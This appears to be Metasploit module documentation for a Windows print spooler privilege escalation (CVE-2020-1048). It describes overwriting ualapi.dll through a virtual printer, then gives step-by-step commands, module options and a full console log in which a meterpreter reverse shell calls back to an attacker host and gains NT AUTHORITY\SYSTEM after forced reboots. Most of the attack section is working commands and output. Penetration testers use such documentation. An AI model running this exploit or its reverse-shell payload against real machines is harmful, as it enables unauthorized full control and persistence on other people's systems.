## Vulnerable Application Vulnerable versions for exploit All unpatched windows through version 2003 ### Introduction This exploit relies on a bug where you can create a virtual printer and print to trusted locations on the filesystem. If a user chooses the default overwrite, it may create a permanent backdoor. Basically, this exploit creates a print job that writes to a trusted location. By selecting the location ```C:\windows\system32\ualapi.dll``` we abuse the spooler service twice. The spooler will print to this location when it restarts, then it will load the DLL into itself when it restarts a second time. The DLL will then be running as ```SYSTEM```. When the printer is created, the target will show a pop-up saying a printer was created. A larger issue here is that the Spooler service does not like to stop. Trying `sc stop` Spooler does not stop the spooler. Killing the pid with a trusted process will kill it, but it restarts automatically. Using the `pendingFileRenameOperations` registry key also does not appear to work. ## Verification Steps Start ```msfconsole``` get session on a windows target that is not patched (and <= 2003) ```use windows/local/cve_2020_1048_printerdemon``` ```set session ``` ```set payload ``` ```set lhost ``` ```set lport ``` ```run``` Verify target reboots automagically if reboot target again (yest it has to reboot again Verify you get a session ## Options **EXECUTE_DELAY** The time between uploading and running the exploit. Default is 3 seconds, but high-latency networks may require more time. **EXPLOIT_NAME** The name of the when it is uploaded to the target (%RAND% by default). **EXPLOIT_DIR** Directory to use for file upload and linking; this should not already exist. (%RAND% by default) **OVERWRITE_DLL** The remote location you would like to write to. Default is ```C:\windows\system32\ualapi.dll``` **PAYLOAD_NAME** The filename to use for the payload binary (%RAND% by default). This is the name of the dll payload when uploaded to the remote host. **RESTART_TARGET** This will restart the target to force the overwrite. YOU WILL LOSE YOUR SESSION unless you have a method of persistence. The dll will not be run until a second reboot. **WRITEABLE_DIR** The directory to use the payload binary and uploaded payload. (%RAND% by default). ## Scenarios ### Tested on Windows10 x64 Release 1903 ``` msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler [*] Payload Handler Started as Job 2 [*] Started reverse TCP handler on 192.168.135.197:5555 msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200262 bytes) to 192.168.132.134 [*] Meterpreter session 2 opened (192.168.135.197:5555 -> 192.168.132.134:49675) at 2020-08-24 12:15:07 -0500 msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 2... meterpreter > sysinfo Computer : DESKTOP-CL5L2IH OS : Windows 10 (10.0 Build 18362). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: DESKTOP-CL5L2IH\msfuser meterpreter > getsystem [-] 2001: Operation failed: The environment is incorrect. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 2... msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/local/cve_2020_1048_printerdemon [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/cve_2020_1048_printerdemon) > show options Module options (exploit/windows/local/cve_2020_1048_printerdemon): Name Current Setting Required Description ---- --------------- -------- ----------- EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default). OVERWRITE_DLL no Filename to overwrite (%WINDIR%\system32\ualapi.dll by default). PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.dll by default). RESTART_TARGET true yes Restart the target after exploit (you will lose your session until a second reboot). SESSION 1 yes The session to run this module on. WRITABLE_DIR no Path to write binaries (%TEMP% by default). Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.135.197 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows x64 msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set verbose true verbose => true msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set disablepayloadhandler false disablepayloadhandler => false msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set wfsdelay 600 wfsdelay => 600 msf6 exploit(windows/local/cve_2020_1048_printerdemon) > run msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set session 2 session => 2 msf6 exploit(windows/local/cve_2020_1048_printerdemon) > run [*] Started reverse TCP handler on 192.168.135.197:4444 [*] Checking Target [*] Attempting to PrivEsc on DESKTOP-CL5L2IH via session ID: 2 [*] Build Number = 18362 [*] Uploading Payload [*] Payload (5120 bytes) uploaded on DESKTOP-CL5L2IH to C:\Users\msfuser\AppData\Local\Temp\UCPNtlof [!] This exploit requires manual cleanup of the payload C:\Users\msfuser\AppData\Local\Temp\UCPNtlof [*] Sleeping for 3 seconds before launching exploit [*] Uploading exploit to DESKTOP-CL5L2IH as C:\Users\msfuser\AppData\Local\Temp\JkrbEDShseh.exe [*] Exploit uploaded on DESKTOP-CL5L2IH to C:\Users\msfuser\AppData\Local\Temp\JkrbEDShseh.exe [*] Running Exploit [*] Exploit output: Printer created successfully [*] Rebooting DESKTOP-CL5L2IH [*] 192.168.132.134 - Meterpreter session 2 closed. Reason: Died ``` After the auto-reboot, reboot again. The first reboot performs the overwrite; the second loads the dll. ``` [*] Sending stage (200262 bytes) to 192.168.132.134 [*] Meterpreter session 3 opened (192.168.135.197:4444 -> 192.168.132.134:49669) at 2020-08-24 12:19:49 -0500 meterpreter > sysinfo Computer : DESKTOP-CL5L2IH OS : Windows 10 (10.0 Build 18362). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ```